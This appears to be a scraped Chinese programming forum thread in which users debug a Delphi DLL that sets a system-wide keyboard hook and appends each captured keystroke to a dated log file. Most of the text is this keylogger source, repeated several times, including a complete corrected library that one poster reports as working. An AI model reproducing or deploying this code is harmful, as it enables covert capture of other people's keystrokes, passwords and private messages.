两个函数都有返回值。 改成 setwindowshookex(wh_keyboard, @keyproc,hinstance,0) 还是不行。 所有代码如下:function KeyboardProc(iCode : Integer; wParam : WPARAM; lParam : LPARAM):LRESULT;stdcall;export; var hTemp : string; c : Char; begin result := CallNextHookEx(hKHook, iCode, wParam, lParam); c := Char(lParam); SaveLog(c); FKeys := FKeys + ' ' + Format('%.2H',[iCode]); end;function EnableKHook : Bool; export; begin result := False; if hKHook <> 0 then exit; // 挂上 WH_KEYBOARD 类型的 HOOK, 同时, 传回值必须保留下来, 免得 HOOK 呼叫链结断掉 hKHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0); FKeys := ''; result := hKHook <> 0; end;function DisableKHook : Bool; export; begin if hKHook <> 0 then begin UnhookWindowsHookEx(hKHook); hKHook := 0; end; result := True; end;function GetKeys : string; export; begin result := FKeys; end;procedure SaveLog(cc : Char); var F : TextFile; name : string; Year, Month, Day : word; Present : TDateTime; begin Present := Now; DecodeDate(Present, Year, Month, Day); name := Format('f:\Key_%d_%d.log',[Month,Day]); if not FileExists(name) then FileCreate(name); AssignFile(F, name); Append(F); Write(F,cc); Flush(F); CloseFile(F); end;
function KeyboardProc(iCode : Integer; wParam : WPARAM; lParam : LPARAM):LRESULT;stdcall;//没有必要export; var hTemp : string; c : Char; begin Result:=0; if iCode<0 then result := CallNextHookEx(hKHook, iCode, wParam, lParam); c := Char(lParam); SaveLog(c); FKeys := FKeys + ' ' + Format('%.2H',[iCode]); end; Try it
不知道你那边具体是什么问题 我这边调试了后,可以调用和运行,注意export的函数名前后一致library Project1;{ Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL exports any procedures or functions that pass strings as parameters or function results. This applies to all strings passed to and from your DLL--even those that are nested in records and classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory manager, which must be deployed along with your DLL. To avoid using BORLNDMM.DLL, pass string information using PChar or ShortString parameters. }uses SysUtils, Classes, windows;{$R *.RES}var hKHook: HHook = 0; FKeys: string;procedure SaveLog(cc : Char); var F : TextFile; name : string; Year, Month, Day : word; Present : TDateTime; begin Present := Now; DecodeDate(Present, Year, Month, Day); name := Format('e:\Key_%d_%d.log',[Month,Day]); if not FileExists(name) then FileCreate(name); AssignFile(F, name); Append(F); Write(F,cc); Flush(F); CloseFile(F); end;function KeyboardProc(iCode : Integer; wParam : WPARAM; lParam : LPARAM):LRESULT;stdcall;export; var // hTemp : string; c : Char; begin if icode < 0 then begin result := CallNextHookEx(hKHook, iCode, wParam, lParam); exit; end; c := Char(lParam); SaveLog(c); FKeys := FKeys + ' ' + Format('%.2H',[iCode]); Result:= 0; end;function EnableKHook : Bool; export; begin Result:= False; if hKHook <> 0 then exit; // 挂上 WH_KEYBOARD 类型的 HOOK, 同时, 传回值必须保留下来, 免得 HOOK 呼叫链结断掉 hKHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0); FKeys := ''; result := hKHook <> 0; end;function DisableKHook : Bool; export; begin if hKHook <> 0 then begin UnhookWindowsHookEx(hKHook); hKHook := 0; end; result := True; end;function GetKeys : string; export; begin result := FKeys; end;exports EnableKHook, DisableKHook;begin end.
改成 setwindowshookex(wh_keyboard, @keyproc,hinstance,0) 还是不行。
所有代码如下:function KeyboardProc(iCode : Integer; wParam : WPARAM;
lParam : LPARAM):LRESULT;stdcall;export;
var
hTemp : string;
c : Char;
begin
result := CallNextHookEx(hKHook, iCode, wParam, lParam);
c := Char(lParam);
SaveLog(c);
FKeys := FKeys + ' ' + Format('%.2H',[iCode]);
end;function EnableKHook : Bool; export;
begin
result := False;
if hKHook <> 0 then exit;
// 挂上 WH_KEYBOARD 类型的 HOOK, 同时, 传回值必须保留下来, 免得 HOOK 呼叫链结断掉
hKHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
FKeys := '';
result := hKHook <> 0;
end;function DisableKHook : Bool; export;
begin
if hKHook <> 0 then begin
UnhookWindowsHookEx(hKHook);
hKHook := 0;
end;
result := True;
end;function GetKeys : string; export;
begin
result := FKeys;
end;procedure SaveLog(cc : Char);
var
F : TextFile;
name : string;
Year, Month, Day : word;
Present : TDateTime;
begin
Present := Now;
DecodeDate(Present, Year, Month, Day);
name := Format('f:\Key_%d_%d.log',[Month,Day]);
if not FileExists(name) then
FileCreate(name);
AssignFile(F, name);
Append(F);
Write(F,cc);
Flush(F);
CloseFile(F);
end;
lParam : LPARAM):LRESULT;stdcall;//没有必要export;
var
hTemp : string;
c : Char;
begin
Result:=0;
if iCode<0 then
result := CallNextHookEx(hKHook, iCode, wParam, lParam);
c := Char(lParam);
SaveLog(c);
FKeys := FKeys + ' ' + Format('%.2H',[iCode]);
end;
Try it
你的代码写在dll里的吧
我试了一下,运行调用这个dll的程序时失败,程序不运行
我下午再试试
楼上的代码,我试了,也不行
请你下午试试
不知道你那边具体是什么问题
我这边调试了后,可以调用和运行,注意export的函数名前后一致library Project1;{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }uses
SysUtils,
Classes,
windows;{$R *.RES}var
hKHook: HHook = 0;
FKeys: string;procedure SaveLog(cc : Char);
var
F : TextFile;
name : string;
Year, Month, Day : word;
Present : TDateTime;
begin
Present := Now;
DecodeDate(Present, Year, Month, Day);
name := Format('e:\Key_%d_%d.log',[Month,Day]);
if not FileExists(name) then
FileCreate(name);
AssignFile(F, name);
Append(F);
Write(F,cc);
Flush(F);
CloseFile(F);
end;function KeyboardProc(iCode : Integer; wParam : WPARAM;
lParam : LPARAM):LRESULT;stdcall;export;
var
// hTemp : string;
c : Char;
begin
if icode < 0 then
begin
result := CallNextHookEx(hKHook, iCode, wParam, lParam);
exit;
end;
c := Char(lParam);
SaveLog(c);
FKeys := FKeys + ' ' + Format('%.2H',[iCode]);
Result:= 0;
end;function EnableKHook : Bool; export;
begin
Result:= False;
if hKHook <> 0 then exit;
// 挂上 WH_KEYBOARD 类型的 HOOK, 同时, 传回值必须保留下来, 免得 HOOK 呼叫链结断掉
hKHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
FKeys := '';
result := hKHook <> 0;
end;function DisableKHook : Bool; export;
begin
if hKHook <> 0 then begin
UnhookWindowsHookEx(hKHook);
hKHook := 0;
end;
result := True;
end;function GetKeys : string; export;
begin
result := FKeys;
end;exports
EnableKHook, DisableKHook;begin
end.
谢谢!! 我的email : [email protected]
现在sohu上不去,晚一点再发给你